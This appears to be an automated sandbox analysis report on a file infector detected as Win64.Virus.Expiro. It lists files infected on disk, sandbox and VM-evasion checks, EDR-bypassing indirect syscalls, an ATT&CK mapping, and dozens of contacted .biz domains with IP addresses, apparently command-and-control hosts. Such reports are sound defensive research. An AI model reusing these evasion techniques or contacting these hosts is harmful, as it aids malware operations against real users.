Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.132\117.0.5938.132_chrome_installer.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\rmid.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\7-Zip\7zFM.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\klist.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\zakrqeok.vur.708d124\VMD\iaStorVD.sys	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\tnameserv.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\jjs.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeC2RClient.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\orbd.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVShNotify.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Google\Chrome\Application\chrome_proxy.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\zakrqeok.vur.708d124\VMD\RstMwService.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Common Files\microsoft shared\ClickToRun\officesvcmgr.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\ktab.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to dropped file
Source: C:\Windows\System32\alg.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe	Jump to dropped file

Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_11-3883
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_12-3635
Source: C:\Windows\System32\FXSSVC.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_10-3738
Source: C:\Users\user\Desktop\SetupRST.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_0-5190
Source: C:\Windows\System32\AppVClient.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_8-3881

Source: C:\Users\user\Desktop\SetupRST.exe TID: 6756	Thread sleep time: -90000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe TID: 4648	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\alg.exe TID: 4936	Thread sleep time: -150000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\alg.exe TID: 4676	Thread sleep time: -60000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\alg.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\alg.exe	Thread delayed: delay time: 60000			Jump to behavior

Source: C:\Windows\System32\alg.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath\java.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath\javaw.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath\javaws.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath_target_749031\java.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath_target_749031\javaw.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath_target_749031\javaws.exe	Jump to behavior

Source: SetupRST.exe, 00000002.00000002.1524924679.000001ED1D560000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_PnPSignedDriverVMware VMCI Bus DeviceSYSTEMPCI\VEN_15AD&DEV_0740&SUBSYS_074015AD&REV_10PCI\VEN_15AD&DEV_0740&REV_10PCI\VEN_15AD&DEV_0740&SUBSYS_074015AD&REV_10\3&61AAA01&0&3F{4d36e97d-e325-11ce-bfc1-08002be10318}PCI bus 0, device 7, function 7\Device\NTPNP_PCI0010VMware, Inc
Source: SetupRST.exe, 00000002.00000002.1525343851.000001ED1DC49000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: root/CIMV2user-PCMicrosoft Hyper-V Virtualization Infrastructure Driver{4d36e97d-e325-11ce-bfc1-08002be10318}SYSTEMROOT\VID\0000Microsoft Hyper-V Virtualization Infrastructure DriverMicrosoft10.0.19041.1466ROOT\VIDwvid.infMicrosoft\Device\00000003Microsoft Windows
Source: SetupRST.exe, 00000002.00000002.1524924679.000001ED1D560000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: NECVMWar VMware SATA CD00
Source: SetupRST.exe, 00000002.00000002.1524924679.000001ED1D560000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: SetupRST.exe, 00000000.00000003.1486555848.00000000005D9000.00000004.00000020.00020000.00000000.sdmp, SetupRST.exe, 00000000.00000003.1486049445.00000000005D9000.00000004.00000020.00020000.00000000.sdmp, SetupRST.exe, 00000000.00000003.1521074372.00000000005D9000.00000004.00000020.00020000.00000000.sdmp, SetupRST.exe, 00000000.00000003.1509851528.00000000005D9000.00000004.00000020.00020000.00000000.sdmp, SetupRST.exe, 00000000.00000002.1528600545.000000000058C000.00000004.00000020.00020000.00000000.sdmp, SetupRST.exe, 00000000.00000002.1528600545.00000000005D9000.00000004.00000020.00020000.00000000.sdmp, SetupRST.exe, 00000000.00000003.1501449599.00000000005D9000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2059406165.00000000005A1000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2028916791.00000000005A1000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1500289763.00000000005A1000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1955534393.00000000005A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: SetupRST.exe, 00000002.00000002.1524924679.000001ED1D560000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 0, LUN 0\Device\00000025(Standard CD-ROM drives)NECVMWar VMware SATA CD00cdrom.
Source: SetupRST.exe, 00000002.00000002.1524924679.000001ED1D560000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_PnPSignedDriverMicrosoft Hyper-V Generation CounterSYSTEMACPI\VEN_VMW&DEV_0001ACPI\VM_Gen_CountYL
Source: AppVClient.exe, 00000008.00000003.1487054717.0000000000467000.00000004.00000020.00020000.00000000.sdmp, AppVClient.exe, 00000008.00000002.1487403810.000000000047E000.00000004.00000020.00020000.00000000.sdmp, AppVClient.exe, 00000008.00000003.1486964336.0000000000460000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: appv:SoftwareClients/appv:JavaVirtualMachineX
Source: SetupRST.exe, 00000002.00000002.1524924679.000001ED1D560000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: wgencounter.infMicrosoft20060621000000.****+*Microsoft Hyper-V Generation Counter10.0.19041.1Microsoft Windows
Source: SetupRST.exe, 00000002.00000002.1524924679.000001ED1D560000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware VMCI Bus Device
Source: alg.exe, 00000004.00000003.2059406165.00000000005A1000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2028916791.00000000005A1000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1500289763.00000000005A1000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1955534393.00000000005A1000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1890783280.00000000005A1000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1943240177.00000000005A1000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1817065390.00000000005A1000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2048447992.00000000005A1000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1546942335.00000000005A1000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1562032588.00000000005A1000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1583235568.00000000005A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWb
Source: SetupRST.exe, 00000002.00000002.1524924679.000001ED1D560000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware, Inc
Source: SetupRST.exe, 00000002.00000002.1524233511.000001ED1D4B9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: SetupRST.exe, 00000002.00000002.1524864992.000001ED1D549000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ft Hyper-V Generation Co
Source: SetupRST.exe, 00000002.00000002.1524233511.000001ED1D4B9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000

Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	NtOpenKeyEx: Indirect: 0x140077B9B	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	NtQueryValueKey: Indirect: 0x140077C9F	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	NtClose: Indirect: 0x140077E81

Source: C:\Users\user\Desktop\SetupRST.exe

Process created: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe SetupRST.exe

Jump to behavior

Source: C:\Users\user\Desktop\SetupRST.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\alg.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\AppVClient.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Queries volume information: C:\ProgramData\Microsoft\Windows NT\MSFax\Queue\TST8578.tmp VolumeInformation	Jump to behavior
Source: C:\Windows\System32\FXSSVC.exe	Queries volume information: C:\ProgramData\Microsoft\Windows NT\MSFax\TST8588.tmp VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\SetupRST.exe

Code function: 0_2_000000014000C590 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_000000014000C590

Source: C:\Users\user\AppData\Local\Temp\RST74BF.tmp\SetupRST.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 Windows Service	1 Windows Service	222 Masquerading	OS Credential Dumping	1 System Time Discovery	1 Taint Shared Content	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 LSASS Driver	11 Process Injection	1 Disable or Modify Tools	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	131 Virtualization/Sandbox Evasion	Security Account Manager	131 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 LSASS Driver	11 Process Injection	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	LSA Secrets	113 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Timestomp	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
SetupRST.exe	68%	ReversingLabs	Win64.Virus.Expiro
SetupRST.exe	100%	Avira	W32/Infector.Gen
SetupRST.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Java\jre-1.8\bin\jabswitch.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Java\jre-1.8\bin\jjs.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Java\jre-1.8\bin\java-rmi.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.132\117.0.5938.132_chrome_installer.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\Au3Info.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\Au3Check.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Java\jre-1.8\bin\jabswitch.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Java\jre-1.8\bin\jjs.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Java\jre-1.8\bin\java-rmi.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.132\117.0.5938.132_chrome_installer.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Au3Info.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Au3Check.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://www.gimp.org/xmp/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
uaafd.biz	3.254.94.185	true	false	unknown
vjaxhpbji.biz	82.112.184.197	true	false	unknown
pywolwnvd.biz	54.244.188.177	true	false	unknown
ytctnunms.biz	3.94.10.34	true	false	unknown
lrxdmhrr.biz	54.244.188.177	true	false	unknown
vrrazpdh.biz	34.211.97.45	true	false	unknown
ctdtgwag.biz	3.94.10.34	true	false	unknown
tbjrpv.biz	34.246.200.160	true	false	unknown
hehckyov.biz	44.221.84.105	true	false	unknown
xlfhhhm.biz	47.129.31.212	true	true	unknown
warkcdu.biz	18.141.10.107	true	false	unknown
npukfztj.biz	44.221.84.105	true	false	unknown
sxmiywsfv.biz	13.251.16.150	true	true	unknown
przvgke.biz	172.234.222.138	true	false	unknown
dwrqljrr.biz	54.244.188.177	true	false	unknown
ocsvqjg.biz	3.254.94.185	true	false	unknown
ecxbwt.biz	54.244.188.177	true	false	unknown
gytujflc.biz	208.100.26.245	true	false	unknown
bghjpy.biz	34.211.97.45	true	false	unknown
damcprvgv.biz	18.208.156.248	true	false	unknown
gvijgjwkh.biz	3.94.10.34	true	false	unknown
gnqgo.biz	18.208.156.248	true	false	unknown
deoci.biz	18.208.156.248	true	false	unknown
iuzpxe.biz	13.251.16.150	true	true	unknown
nqwjmb.biz	35.164.78.200	true	false	unknown
wllvnzb.biz	18.141.10.107	true	false	unknown
cvgrf.biz	54.244.188.177	true	false	unknown
lpuegx.biz	82.112.184.197	true	false	unknown
bumxkqgxu.biz	44.221.84.105	true	false	unknown
yhqqc.biz	34.211.97.45	true	false	unknown
vcddkls.biz	18.141.10.107	true	false	unknown
vyome.biz	18.246.231.120	true	false	unknown
dlynankz.biz	85.214.228.140	true	false	unknown
gcedd.biz	13.251.16.150	true	true	unknown
reczwga.biz	44.221.84.105	true	false	unknown
xccjj.biz	18.246.231.120	true	false	unknown
wxgzshna.biz	72.52.178.23	true	false	unknown
